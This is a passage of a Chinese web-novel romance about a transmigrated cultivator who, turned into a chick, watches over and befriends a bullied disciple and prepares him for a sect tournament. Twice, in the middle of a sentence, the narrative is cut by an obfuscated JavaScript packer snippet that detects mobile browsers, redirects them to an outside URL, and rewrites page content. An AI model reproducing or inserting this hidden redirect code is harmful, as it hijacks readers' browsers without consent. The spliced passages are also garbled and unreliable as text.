闻执诗在心里跟自己掰扯,心道:“要不就一本正经地走进去,不说也不笑,就那么不经意地看他一眼,确定他完好无损没被常可甯欺负之后,再板着脸走出来,就像是恰好路过一样?” 他挠了挠头,心里边蹦出来个持反对意见的闻·挑刺儿版·执诗,反驳道:“太刻意啦!搞得像是你暗恋他一样!” “我就算是暗恋一个鬼,也不可能暗恋他!”右边闻·嘴硬版·执诗叽叽喳喳道,“我干脆就直接走进去,两手叉腰,瞪着他凶了吧唧地说,‘你,砚倾酒,可是我带进逍遥宗的人!好好修习,好好生活,千万别给我丢脸!’这样应该能震慑住他吧?” 左边的闻·挑刺儿版·执诗又道:“你算他什么人啊?你这分明是在关心他!他可不一定会领你的情。况且,你现在跟他八竿子打不着一撇,你要是这么说,他绝对会赏你一对圆溜溜的白眼儿!” 右边闻·嘴硬版·执诗瞎掰扯道:“你知道我跟他什么关系吗?关你什么事?我跟他可是生死与共,小命相连呢!试问这世上还有比我们关系更铁的吗?” 闻·挑刺儿版·执诗“哎呦”一声,诋毁道:“你个事精儿!” 右边闻·嘴硬版·执诗回怼道:“死鸭子嘴硬!” “都闭嘴!都给我从哪来的回哪去,没我允许不准再出来!吵死啦!”闻·真人版·执诗夹在他们两个中间脑子快炸掉了,心道:“说这个不行,说那个也是错,我不说不就行了吗。诶?要不然我隐个身,不让他看见我,悄咪咪进去,再悄咪咪出去不就成了吗!” 闻执诗闭眼念咒,隐身咒还没念完,他就被突如其来的一声“师父”吓了一跳,不成想竟念错了咒,变成了一只鸟,“吧嗒”一声坐在地上,摔了个屁股蹲。 动静不小,砚倾酒回头看了一眼。 突然出现的一只鸟,又突然消失,这就太假了。 这下,闻执诗不得不乖乖地坐在地上,好好地当一只鸟了。还是一只鹅黄色的小雏鸟,肚子圆滚滚,四肢短的像牙签,一双小翅膀树叶似的又轻又薄,像一个黄色的毛茸茸小灯笼。 虽然圆嘟嘟不好行动,但胜在煞是可爱。 闻执诗有点怀疑自己这只鸟到底能不能飞起来,就算能飞起来,估计也是一边哆嗦一边飞。 罢了。但愿一会儿砚倾酒能看在它可爱的份上,不弹它的脑门。 未等“小雏鸟”飞到玉石上看清楚砚倾酒的脸,一道扎眼的绿光便从砚倾酒的身前一闪而过。 定是在仙门中绿得一骑绝尘的常可甯还有他那只小畜生。 虽然隔着一段距离,但是闻执诗还是能清楚地听见竹叶青吞吐蛇信子的声音,极其瘆人!听着听着,鸡皮疙瘩像蚂蚁似的顺着他的胳膊上一路爬了上来,在闻执诗的头顶上扎了堆。 瞧见常可甯那张白的像鬼的死人脸,闻执诗便知砚倾酒又要挨训了。 果不其然,砚倾酒刚跪在地上道了一句“师父”,常可甯便将一本枯黄色的古籍砸在了他的身上。 砚倾酒被他砸得微微一怔。 “前几年刚收了苏庭那么个灵智未开的蠢货,今日又请来了你这尊连仙骨都没有的大佛,我这青山殿可真是萁裘颓堕,后继无人啊。”常可甯仰头望着大好的夜空,璀璨的星辰,抬起两指按了按上蹿下跳的太阳穴,阴阳怪气地揶揄了几句。 见砚倾酒不言不语,常可甯指了指地上的古籍,没好气地说道:“把书捡起来,好生收着。这是入门的心法,天亮之前给我读明白,弄清楚。天亮之后去苏庭那儿将那些基础的书籍搬到你那去,好好研读,一个月后你要是到不了醒骨境,就卷铺盖走人吧,我青山峰不养废物。” 闻执诗拱手作揖,恭恭敬敬地问道:“师父,弟子有惑,何为‘醒骨境’?” 常可甯斜眼睨着砚倾酒,捂着嘴坏笑两声,冷嘲热讽道:“你知道什么啊?连修仙的境界也需要我亲自告诉你吗?先别叫我师父,你现在没那个资格。我只是暂时让你留在这里,若你日后的表现让我满意了,咱们行了拜师的礼仪,你才能叫我师父,知道吗。当然,你大概是没有那样的机会了。” 一旁听门子的闻执诗小胖鸟愤愤地跺了跺脚,心道:“好贱啊。” 砚倾酒的神色暗淡下来,低声道:“是。青山长老。” “还是这声‘长老’听着顺耳。今夜我也没什么困劲儿,可以与你简单说说修仙的几个境界。”竹叶青滑到常可甯的手腕上,常可甯盘着它,不疾不徐道:“逍遥宗的修仙之路与旁的宗门不同,走的是祖师爷亲创的「天梯五境」。” “第一境为「醒骨境」,即为让你体内的仙骨,俗称道骨觉醒。这一步算是入门。被逍遥宗选中的弟子大都是天资不错,根骨尚可之人,体内都有不错的仙骨,所以这一步,寻常的逍遥宗弟子只需要三个月到一年的时间,而你的师兄苏庭虽有着不错的仙骨,到达醒骨境却用了整整五年的时间,故此,他算第二类——悟性极差,根本没有仙缘的那一类。” 闻执诗远远地望着砚倾酒的背影,凉飕飕地想:“砚倾酒没有仙骨了。世界上最远的距离,莫过于仙骨就在眼前,却在别人的身上。原主真是造了大孽啊。” 砚倾酒低声问了句:“那长老为何只给我一个月的时间?” “在我的地盘上就得守我的规矩,我说的话,就是规矩。”常可甯不耐烦道,“我还是那句话,不听,不服,不愿,可以卷铺盖滚蛋!” 砚倾酒跪在地上,肩膀抖了抖,低声道:“弟子知错,长老恕罪。弟子不会再多言了。” 闻执诗叹了口气,努着嘴,心道一句:“小可怜。” “乖。知错就改,善莫大焉。我就喜欢乖巧老实的孩子。”常可甯不真不假地浅笑着,嘴角微挑,说道,“我继续讲。第二层境界是「通幽境」。‘曲径通幽处’。唤醒仙骨后,要贯通体内的灵脉,到达通幽境后,便在神游内景,开铺出独属于你的‘幽处’。也就是说,到达这一层后,你的体内,便真正的拥有了‘境’。一般逍遥宗的弟子达到这一境需要三年,而我只用了三个月。” 说到这,常可甯的脸上闪过一丝近乎病态的欣喜,仿佛他做到了一件多么让人觉得遥不可及的事情一样。 砚倾酒察觉到空气中那股病态的气息,抬头望了一眼竹叶青,恰好看见竹叶青的眼睛变成了血红色的。此景真是诡异至极! “而后第三层便是「坐忘境」。到达这一层后,你的神识便可以入你的‘境’了。神守内景,物我两忘。只有神魄强大,才能抵御心魔与幻术,只是要想达到「坐忘境」,就必须度过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349186|199568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 「神魄之劫」,必须在心境中杀死自己的心魔。这一步太难了。要杀死自己,怎么会容易?” “悟性高,资质好的弟子想要达到「坐忘境」,至少需要三十年,长则百年。悟性不好的弟子,便会永远的困在「神魄之劫」,不上不下,至死方休。”说完,常可甯问砚倾酒,“这三层,你听明白了吗?” 砚倾酒答道:“弟子听明白了。” 砚倾酒态度极其认真,语气也颇为虔诚,常可甯却不为所动,不屑一笑,揶揄道:“别以为你能听明白就能做的到,你连仙骨都没有,还修什么仙呢?其实,先前在灭妖塔的时候,几位长老便看出你没有仙骨了,可他们为了给你留点尊严,皆没有戳你的痛处,可我才不会惯着你呢。我要是你,早就羞的跳下山崖或者一头撞死了。你知不知道,你越是摆出一副认真的架势,就越是可笑?” 砚倾酒抿着嘴,低下头,不说话了。 闻·胖墩墩的小雏鸟·执诗在一旁默默地听了许久,心中那把火烧得越来越旺,恨不得给常可甯烧秃噜了皮。 他心说柿子挑软的捏算什么英雄好汉!逮着砚倾酒一个人欺负算什么狗屁长老?!有本事来来欺负我啊!乐意奉陪的人在这呢! “小雏鸟”踮着脚站在石头上,天狗望月似的,恨不得冲过去狠狠地啄常可甯一口,将他的脑门啄个窟窿出来。 闻执诗忍住了。因为他现在只是一只鸟,会被常可甯一巴掌拍死。除非他暴露身份,颜面尽失。 闻执诗想了想,还是压着火,守住了自己的那点面子。留得青山在,不愁没柴烧。留得面子在,不怕下次没的丢。 约莫过了一个时辰。青山殿前,常可甯还在数落砚倾酒,仍是那般阴阳怪气,冷嘲热讽,恨不得把砚倾酒骂哭。 “瞧瞧你那样,丧家之犬似的。”常可甯捏了个软柿子,觉得没意思,兴致也耗尽了,敷衍地说道:“至于第四境「观山境」,观山悟道,能达到的就更是凤毛麟角了。达到「观山境」后,便能在心中建一座心念之山,与天地交感。要走到这一步,就算是天赋极佳的弟子,至少也要八十年。” “天梯之路何其漫长,这第五层便是令人心向往之却望而生畏的「飞天境」了。到达飞天镜后,离成成仙就只差飞升这一步了。”说到这,常可甯的脸色突然沉了下来,“逍遥宗中达到「飞天镜」的人只有三位,仙尊、紫山长老以及......仙尊亲自教出来的弟子闻执诗。” 说“闻执诗”这三个字的时候,常可甯的腮帮子都在抖。常可甯补充道:“你不要以为闻执诗能破飞天境是因为他有本事,恰恰相反,他就是个没本事只会躲在仙尊身后的蠕虫!蠕虫你懂吗?他废得要死,奈何仙尊厉害啊。” 砚倾酒和蹲在玉石上打哈欠的“小雏鸟”仅用一秒便猜到常可甯的脸为什么变的像烤焦了的吊驴烧饼一样黑了。 常可甯嫉妒得发狂。 第三位到达「飞天镜」的人不是他,而是让他恨到牙根痒痒的闻执诗! 当事人闻执诗有些纳闷,心说一个人怎么会无缘无故地恨另一个人呢?为什么念我的名字还要加上“师尊的亲传弟子”之类的字眼?恨我就恨我,带上微生言做什么?莫非常可甯真正恨的人是微生言? 什么乱七八糟的!冤冤相报何时了啊!都是同门师兄弟,就不能相亲相爱地好好修仙吗!可曾刷过青年大学习?要树立正确的价值观才对啊! 闻执诗愤愤地跺了跺鸟爪子,不料竟没站稳,从玉石上摔下去,摔了个四脚朝天。 他以为是自己摔得眼冒金星了,瞪大眼睛看清楚了才知道,原来是天亮了。 小雏鸟闻执诗坐在冰凉的石砖上,用翅膀揉了揉圆滚滚的肚子,正思量着该怎么帮砚倾酒修炼到醒骨境呢,突然眼前一黑,紧接着天旋地转,像是被人当成荷包提溜了起来,摸到光滑的衣袖时,他才意识到自己原是被人抱起来了。 被人这么小心地抱在怀里,还挺舒服的呢。 心里正美着,闻执诗歪着脑袋向上瞄了一眼,顿时傻眼了! 竟然是砚倾酒把他抱在怀里了!小雏鸟叽叽喳喳地叫唤个不停:“干嘛呀!干嘛抱着我!我是一只有分寸感的鸟,不能随便跟男人搂搂抱抱的!放开我!你这个可恶的男人!救命啊——!!!” 闻执诗觉得自己可能是摔傻了,出现幻觉了!恍惚间,他好像看到砚倾酒对他笑了一下,还是一个温柔的带着点宠爱的笑容! 这对吗??? 是我疯了?还是砚倾酒傻了?? 11. 掌心小宠物 砚倾酒看向小雏鸟的眼神的确清澈温柔,想来他对待小动物一样如此,温柔似水,有过之而无不及。 闻执诗仗着自己现在是一只鸟,明目张胆地盯着砚倾酒看。看着看着,心里不由得酸了起来,与人相交,交的是将心比心,坦诚相待,可他与砚倾酒最不能做的便是坦诚相待了。 他觉得自己在砚倾酒的眼睛里,还不如一只来路不明的鸟儿呢。 “小雏鸟”瘫坐在砚倾酒的怀里,耷拉着脑袋,哼哼唧唧。 砚倾酒似是看出鸟儿的沮丧,抬手摸了摸鸟儿的脑袋,指腹摩挲着毛茸茸的鸟毛,将闻执诗心中那股酸劲儿全都揉成了水,一抿就化了。 倘若他们的相遇不是如此狼狈不堪,倘若他能以最真实的自己与砚倾酒相识,倘若没有角色OOC的限制,他觉得自己应该能与砚倾酒做个交心的朋友。 想到此处,闻执诗不由得好奇,如果没有发生这一堆破事,砚倾酒会以什么样的态度对待自己,他到底会是一个怎样的人呢? 闻执诗很快想起系统最初向他介绍的砚倾酒的人设——傻白甜炮灰! 一路相处下来,闻执诗觉得砚倾酒与他的人设还是有些出入的。 砚倾酒傻吗?不傻,他精着呢!看破不说破,能忍则忍,忍不了就咬牙硬忍下来。 白吗?很白,肤若凝脂,白的跟十指不沾阳春水的小姑娘似的,一看就知道他是从小被家里人当成宝贝疙瘩娇养着长大的。 甜吗?还真有点。从前闻执诗看砚倾酒,只觉得他冷冰冰的,还不理人,好像全世界都欠他一屁股债似的。不过,闻执诗现在已经明白了,冷冰冰只是对他,欠债的人也是他,现在他变成一只鸟了,原本的砚倾酒也就回来了。 小鸟眨了眨眼睛,用小嘴轻轻地啄了一下砚倾酒的手背。 算是道歉,也算是示好。 砚倾酒将小鸟捧在手心里,看了看落在掌心里的羽毛,温声问道:“怎么了?是不是我弄疼你了?” 小鸟摇了摇头,在砚倾酒的掌心里腻腻歪歪地蹭了蹭,又张牙舞爪地忽闪几下翅膀。 闻执诗恨鸟嘴吐不出人话,还得自己出来翻译一下,他的意思是:之前发生的那些事是我对不住你,我给你赔个不是,日后咱们好好相处,我一定会好好补偿你的! 这番话是真心实意的。 砚倾酒也恨自己不懂读心术,听不懂鸟儿叽叽喳喳叫的那两声是什么意思。 不过,他倒是挺喜欢这只鸟儿的。大概,这就是眼缘吧。 有了眼缘就好说了,从那之后无论“小雏鸟”是在玉石后躲着,还是在草堆里藏着,又或者是在砚倾酒头顶上的树枝上倒挂着,砚倾酒总是第一时间找到他,将他拎到怀里抱着,时间长了,“小雏鸟”觉得自己快被砚倾酒给rua秃了! 倒也不是全无所获。 闻执诗发现,没人的时候,他好像跟自己从前认识的那个砚倾酒不太一样。 在无人在意的角落里,他不再是那个被迫走剧情的苦逼炮灰,而是一个安静可爱甚至还有点呆萌的少年。 砚倾酒会坐在石桌前托着腮,盯着那些写满密密麻麻小字的古籍发呆,还会用皱皱巴巴的古籍垫桌角。有时候,他玩心大起,还会踩着石头圆凳摘树上的长生果! 据说蓬莱仙山中的长生果与仙界的人参果长得一般无二,吃起来却不似人参果那般酸甜多汁,而是又苦又涩口的,像是没熟的青柿子。 砚倾酒摘了长生果,用衣袖擦了擦,满心欢喜地咬了一口,结果被果子涩得伸长舌头,愁眉苦脸地“嘶”了一声。 果子掉在石桌上,滚到了鸟爪前。闻执诗心生好奇,也想尝尝长生果到底是什么滋味,便蹦过去,在砚倾酒咬过的地方啄了一小口。 竟然是甜的!甜到发腻! 奇怪?为什么这颗长生果在闻执诗的嘴里是甜的,在砚倾酒的嘴里却是苦的? 莫非是因为鸟嘴尝出来的味道,跟人尝出来的不一样? 见“小雏鸟”吃了长生果,瘫坐在石桌上,还捂着嘴嘀咕了起来,可爱极了,砚倾酒便俯下身,用手指轻轻地点了点“小雏鸟”的小嘴,问道:“好吃吗?是不是很苦?” “小雏鸟”摇了摇头,用翅膀指了指长生果,激动地叫了两声,好像在说,这果子是甜的! “甜的?”这会儿砚倾酒竟然能懂他的意思了,想来是相处的时间长了,心有灵犀一点通啦。 砚倾酒将“小雏鸟”捧在手心里,兀自说道:“据说蓬莱仙山中的长生果是西方的弥勒佛游经蓬莱时种下的,讲的是兰因絮果。不同的人吃长生果,能吃出不同的味道来,极少有人能吃出甜味来。” “我还在砚府做游手好闲的小少爷时,曾在茶馆中听一位说书先生说,种下兰因能到的兰因之人,人生圆满,吃长生果便能吃出甜味来,可种下兰因却得到絮果之人,人生坎坷,不得善终,吃长生果便只能吃出苦味来。” “也许,冥冥之中自有天意。”砚倾酒看着“小雏鸟”,没提自己之前遭遇的那些痛苦的经历,倒是温柔地笑了一下,对小鸟道:“看来,你是一只有福气的鸟儿了!若你喜欢,便常来找我,只要你来,我就摘果子给你吃。” 闻执诗心想:嗳?他这是叫我常来玩? “小雏鸟”激动地从砚倾酒的掌心里跳下去,蹦到长生果旁边,狠狠地啄了一口,啄下一大块来,而后他拖着圆滚滚的肚子飞到砚倾酒的肩膀上,扑棱翅膀让砚倾酒转头。 “怎么了?”砚倾酒转头看他。视线刚刚交汇,“小雏鸟”便噘着嘴,将口中的长生果送到了砚倾酒的嘴边。 “若你只能尝出苦味,我便将口中的甜味渡给你。”闻执诗心想,长生果既然是仙果,为何不能一视同仁,还要分什么苦的甜的,分明就是欺负人!什么仙果,我看啊,这就是坏果子! 闻执诗偏就不信这个邪了,非要砚倾酒尝到甜味不可。 砚倾酒好似明白了他的意思,双唇微微张开,将那一小块长生果含了进去。苦味在他唇舌间慢慢化开,却不似之前那般浓了。 他隐约觉得,苦味消散之时,留在唇齿间的那点滋味,是淡淡的甜味。 咂摸着那点似有似无的甜意,砚倾酒下意识地笑了一下。露齿而笑,笑得很肆意,如春风轻抚湖面,荡起圈圈涟漪,春光不褪,笑意不散。 蓬莱仙山四季如春,春光永不褪去,只要这棵长生果树不老不死,砚倾酒心里那点甜意便永远不会消散。 原来他真的会笑啊。 闻执诗看得越发入迷,心说砚倾酒明明笑起来这么好看,为什么要日日冰着张脸呢。真是小孩心性,还得让人哄着才开心。不对,应当是让鸟哄着他才开心。 若此刻是闻执诗本人站在砚倾酒面前,他一定不会喂砚倾酒吃长生果,一是因为他要面子,二是因为他怕自己把砚倾酒吓跑了! 两个大男人为了吃一个长生果以嘴渡嘴,这合理吗?! 完全不合理!但他是一只鸟儿就没事了。 真的没事儿吗???我不就是这只鸟吗??? 想着想着,“小雏鸟”的脸火辣辣地烧起来了,他连忙用翅膀捂住脸,无头苍蝇似的在砚倾酒的手心里横冲直撞,最后狼狈地摔在地上,落荒而逃。 回到小香山,闻执诗变回原样,如一只筋疲力尽的癞皮狗,一头栽在了床榻上。 人工客服忒不仗义,竟然在这种时候出来调侃他:【这几日你在瞎忙乎些什么?刷心动值?砚倾酒知道你就是那只鸟吗?徒劳无功,简直是愚蠢至极!】 闻执诗在床上打了个滚,扭成麻花,说道:“他要是知道我就是那只鸟,定会将我的毛薅个精光,再扒了我的皮,将我光溜溜地烤成烧鸟卷小饼吃!” 人工客服揶揄道:“知道他不待见你,你还觍着脸,喜孜孜地过去投怀送抱?我亲爱的宿主大人,你不会真看上他了吧?” “怎么可能?我有毛病啊我看上他?!”说着将脸埋在枕头里揉了揉,又一骨碌坐起来,狼狈地问道:“话说我就不能跟他好好相处吗,就非得折磨他吗?劳烦客服君你告诉我,我要怎么做才能解除OOC限制啊?我真的没有欺负人那特殊的癖好啊。” 人工客服早已看穿一切,笑道:【这么着急解除OOC限制,该不会是因为你心疼了,不想让你亲爱的小道侣继续受罪了吧?】 闻执诗炸毛了,吼道:“你到底说不说!” 人工客服即答:【说说说,这就说。解除OOC限制有两个条件,满足其一即可。一是心动值要达到100,二是你不再以闻执诗的身份出现在剧情中。】 闻执诗琢磨了一下,又问道:“什么叫‘不再以闻执诗的身份出现在剧情中’?是不是要么我死,要么我脱胎换骨,跟别人互换身份,以新的身份出现?” 人工客服解释道:【不错!就是这个意思。不过,系统并非一点人情味也没有,若你的心动值能达到100,系统会给你相当有用的特殊奖励。现在还不能告诉你,你先去刷心动值吧,反正,你就记住一句话就行,心动值越高越好,且没有副作用!】 他们绑定的是「恋爱契约」,在设定中,既是契约,便坚不可摧。闻执诗大概猜到了,心动值到达一百,也就是砚倾酒真的爱上了他,那么也就是说,只要砚倾酒活着,他就一定不会死。 就算是死了,也能死而复生! 这可真真是比开挂还爽! 但,爱上一个人岂是一件容易的事情?让别人爱上自己,就更是难上加难了。 一见钟情?NO!人生若只如初见,不是捅刀子就是犯贱。第一面,根本没有留下好印象。惨! 先婚后爱?NO!婚了,没爱。相敬如宾都是奢望啊奢望。惨! 日久生情?NO!日久根本不会生情,只会越来越恨。就算养出了小火苗,也不是爱的火苗,而是恨的怒火。惨! 金屋藏娇&强/制/爱?NONONO!不搞哒不搞哒!惨惨惨! 闻执诗望着天,心叫阿弥陀佛。心道:佛祖,我短暂地信一下佛,你能不能短暂地渡一渡我? 大不敬啊!!!(弹幕护体,狗头保命) “你说的倒是轻松,心动值是那么好刷的吗?”想起自己辛辛苦苦积攒的心动值顷刻间便变成了泡沫,闻执诗焉了吧唧地扭过头,望向远处的青山峰,“还是先想办法让他留在逍遥宗吧。” 现在最棘手的问题是砚倾酒的仙骨在微生言的身体里,而他因OOC限制无法直接去把微生言身体里的仙骨挖出来,没有仙骨,砚倾酒根本就修不了仙,就会一直被常可甯和其他弟子压榨欺负。 最后难逃一死。 想让砚倾酒活下去,就必须帮他变强,让他能够在遇到危险,被人欺负的时候保护好自己。可修仙之路于他而言难如登天啊! 这不是努不努力的问题,想必砚倾酒也很清楚,自己就算闻鸡起舞,凿壁偷光也只是在做无用功啊! 那怎么办呢? 这时,人工客服突然到了句:【阳关道他走不了,不如就让他走独木桥。他没有仙骨,心中又有诸多怨恨,不如让他修魔,做一个令人闻风丧胆,望而生畏,十恶不赦的大魔头。这样,他即不会死,也能保护好自己。你觉得怎么样?】 闻执诗反驳道:“不可。岂能让他误入歧途?我觉得,以砚倾酒的为人,他是绝对不会变成一个十恶不赦的大魔头的。搞不好,他抹脖子自尽了怎么办?” 人工客服嗤笑两声,再道:【什么叫误入歧途?你难道不知道在最近流行的修真小说中,丧尽天良的魔鬼反派很吃香吗!为爱入魔变成阴湿男鬼......懂不懂什么叫做人!设!带!感!你难道不想让他从一个不起眼的炮灰变成比主角还刺眼的大反派吗!什么误入歧途?这才是人间正道!】 “嚯。”闻执诗回怼道,“我看你就挺丧尽天良的。你别当客服了,去当阴湿男鬼吧。你本色出演!” 人工客服笑呵呵道:“我可是乐天......算了,说了你也不知道。” 闻执诗笑道:“乐天什么?哈哈哈乐天派阴湿男鬼吗?” 人工客服无语三秒:【再BB直接给你打道回府!听好了,就算他修魔也没关系,因为恶佛门有一圣物名为佛心雪莲,可以净化修士身上的魔气,且不会损伤修士的修为。若你能助砚倾酒得到佛心雪莲,便可净化他身上的魔气,这样他既能战无敌手,又能不被魔气吞噬心智。我觉得你真的应该好好感谢一下作者大大,为了你们专门设定了这种东西嗳!感恩戴德吧小宿主~~】 闻执诗顶着腮,逐字逐句道:“是啊,我可得好好谢谢他!那就麻烦你把他请出来,让我好好谢谢他呗!” 天空飘来三个字:你休想! 而后金光乍现,几百本有关歪门邪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349187|199568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道的书籍一本接一本的从房顶上掉了下来,将闻执诗从床上逼到了门口,不到半炷香的功夫,他的屋子就被古籍堆满了! 闻执诗抓了抓后脑勺,嘀咕道:“屋子被这些破书堆满了,今晚我睡哪儿呢?” 人工客服催促道:【除了睡就只知道吃,吃了睡睡了吃,你的脑子里还能装点别的东西吗?过几日便是逍遥宗三年一度的比武大会了,只有前十名弟子才有下山历练的机会,再不快点把这些书塞给砚倾酒,就让他留在青山峰等死就好啦!】 “什么比武大会?我也要参加吗?”闻执诗没仔细看,随便捡起几本书就往青山峰走。其中几本非常少见:《魔尊的自我修养》、《魔尊的恋爱史》、《如何勾引一个男人》、《魔尊的心尖啾》! 封皮上画着的甚至是有着八块腹肌、乌黑的拖地秀发、锋利的下颚、细长的手指、装逼装能装到南天门,大杀四方却独爱一人的标准古早文魔尊男主! 更甚,那几张白的像死人的脸上还画着邪魔烟熏妆。 人工客服两眼一黑,但没提醒他,只解释了比武大会:【比武大会,顾名思义,就是宗门大乱斗!五峰长老要选弟子,就是从比武大会中选择表现出色的弟子,当然,也不只是为了选弟子,更重要的是争夺法器!每一届比武大会,微生言都会从藏宝阁中选出三个法器作为奖励送给前三甲,这时候五峰长老将获奖的弟子收为徒弟,那么法器不就成他们的了。所以,比武大会的时候,常可甯可能会收新的徒弟,若砚倾酒能得到法器,也就有机会拜其他长老为师了。】 “的确是个机会。”闻执诗问道:“这一届比武大会要争的法器定好了吗?里面有没有剑?” 人工客服道:【一般没有。逍遥宗弟子都有自己的的佩剑,不会轻易更换,故此一般不会将宝剑作为奖品。不过话说回来,反正发什么奖品都是微生言定,你去通天殿一哭二闹三上吊,求你师尊选一把剑作为奖品不就成了吗。你不是有月照泉吗,还要佩剑做什么?】 闻执诗苦恼道:“我有月照泉,可砚倾酒没有佩剑啊!总不能让他两手空空上去跟别人自由搏击吧?” 人工客服:【那没办法了。除非你给他送一个。】 闻执诗转了转眼珠子,撇嘴道:“我才不给他送呢。” 夜里,闻执诗独站山头望明月,心里琢磨着,送什么样的剑好呢? 去藏宝阁中空手套白狼,给砚倾酒挑把高端大气上档次的宝剑? 不好。太明显。旁人定会以为这剑是砚倾酒偷来的,到时候难免会给砚倾酒招来不必要的麻烦。 去找微生言讨要一把剑送给他? 也不好。若微生言知道自己送剑给砚倾酒,定会想方设法将砚倾酒逐出师门,让他卷铺盖走人的。 不如亲自给他做一把桃木剑?轻巧,好用,还能辟邪,很适合刚刚入门的宝宝剑修! 于是乎,闻执诗亲自用逍遥宗三大宝剑之一的月照泉为一个刚入门的弟子做了一把雕着花的桃木剑。 月照泉:身价一夜贬值,惨变雕木头的刻刀。不必心疼我。命苦。 而后,闻执诗化身那只圆滚滚的小雏鸟,于天将将亮的时候叼着一把桃木剑,背上还背着着三本有关恶佛门秘闻の古籍,蹦蹦跳跳地跑到了青山峰的长生树下。 恰好,砚倾酒正坐在树下挑灯夜读。不巧的是,苏庭也在。 见小雏鸟带来了一堆小玩意,砚倾酒笑着接下,抬手摘了一个长生果给他,算是回礼。见状,苏庭讶然道:“师弟,这长生果吃了可是有助于提升修为的,整个蓬莱仙山就只有这么一棵长生果树!你竟然用长生果喂了鸟!” “抱歉。我不知道。我看地上掉了许多没人捡,以为这棵树没人理,所以才摘了几颗。”砚倾酒解释几句,凝眸看着小雏鸟,又道:“这只鸟儿很讨人喜欢,也很有灵性,我吃长生果只能吃出苦味,他却能吃出甜味来。” “真的?”苏庭瞪大眼睛看着小雏鸟,笑道:“这小家伙还挺厉害呢,我吃长生果,也只能吃出苦味来。” 说着便要伸手摸小雏鸟的脑袋,小雏鸟歪头一躲,不让苏庭摸,倒是凑到砚倾酒的手边,抱着肚子蹭了蹭砚倾酒的手背。 苏庭笑道:“师弟你看看它,不让我碰,还去黏你呢!” 苏庭拿起桌子上的桃木剑,问小鸟儿:“这剑你是从哪弄来的?怕不是哪个弟子自己做的吧。太丑了,做工也很差,上面雕的花不像花倒像是鬼脸,简直不堪入目。” 闻执诗无语中:“......”鸟敦一下歪倒在石案上,应该是气晕了。 “我觉得挺好看的,别有一番可爱。”砚倾酒从苏庭手中接过桃木剑,指尖摩挲着木剑上的花纹,淡淡笑道:“想来是这只鸟儿知道我没有佩剑,特地为我寻来的。这是他的一番好意,不可辜负,日后,我就用这把剑了。” “!!!”闻执诗变脸如翻书,顿时喜笑颜开,在石案上揉着肚子打一个滚儿。 “那这些书?”苏庭刚要拿书,小雏鸟便狠狠地啄他的手,不让他碰,苏庭只好收手。 砚倾酒道:“这些书我会慢慢看的,就留在我这吧。” “这只鸟真奇怪,好像就只喜欢你,不让别人碰你,也不让碰它给你带来的东西。”苏庭抱着胳膊,又道:“算了,我才不会跟一只鸟一般见识呢。对了师弟,过几日宗门要举办比武大会,你要参加吗?” 砚倾酒很清楚,以自己现在的实力,参加比武大会定是要被人当垫脚板的。他摇头道:“这次我就不参加了。祝愿师兄能拔得头筹。” 苏庭苦大仇深道:“可我也不想参加啊。咱们青山峰又不能没人去,要不师弟你......” 砚倾酒也苦恼道:“可我实在是没有那个实力... ...” 小雏鸟突然叽叽喳喳地乱叫一通,一会蹦到桃木剑上,一会又跳到那些古籍上,像是在对砚倾酒说:你有那个实力!要参加比武大会! 砚倾酒托着腮,低下头盯着小雏鸟的眼睛,问小雏鸟:“你是说,我有那个实力吗?” 小雏鸟活蹦乱跳,猛猛点头! 砚倾酒微微一笑,又问道:“那你想让我参加比武大会吗?” 小雏鸟打了个滚,抱着肚皮撒着娇,恨不得把“想”字写在脸上。 沉默片刻后,砚倾酒似是下定了决心,沉声道:“那好。我便听你的,试一次。” 12. 初吻没了 虽然闻执诗从前不怎么看小说,但是他喜欢玩游戏啊!还是一个熬夜肝到吐血的穷波一肝帝! 闻执诗歇斯底里:老天爷!我想当氪金玩家!给我一个亿又能怎?哪怕是游戏币! 在闻执诗的印象里,比武大会这种环节一般是游戏角色用来提升武力值和等级的,当然,在一些披着剧情游戏的皮の社交游戏中,这种场面就是用来cpdd的! 从前闻执诗熬夜苦肝时总是在游戏大厅盯着那些cpdd的对话框陷入沉思,他也想找个cp甜蜜双排,但最终因为社恐而选择孤军奋战,并在游戏中被迫吃n波狗粮后,骂一句“愿天下没有早恋”! 疑似单身狗破防中…… 现在不一样了,在这个沉浸式剧情体验游戏中,他可是一开局就有了cp!还是结过婚,入过洞房的cp! 虽然他的道侣是一个男人…… 但,有总比没有强! 男人就男人,男人和男人怎么就不能cpdd了! 有cp就会有苦恼。眼下,更让闻执诗头疼的事情是如何才能让砚倾酒完整无损的进入到斗武大会的总决赛。 他苦思无果,好在人工客服帮他想到了一个好主意——升级流修真小说中废柴男主常用的那一招:抽签轮空! 轮空就好说啦。不用上场,还能隐藏自己的真实实力,在比武大会的最后一轮如流星一般闪亮登场,在众人都不看好的情况下拔得头筹,从此一举成名天下知。 宛如开了挂一般,多么爽!多么帅!多么牛波一!(此处应有bgm……) 问题是以砚倾酒现在的实力在决胜局一定会被对手打的屁滚尿流啊! 所以,闻执诗必须一路打到总决赛,成为他的对手,再亲自为他放下“太平洋”,让他一举夺魁。 想到这里,闻执诗在后山练的更起劲了。 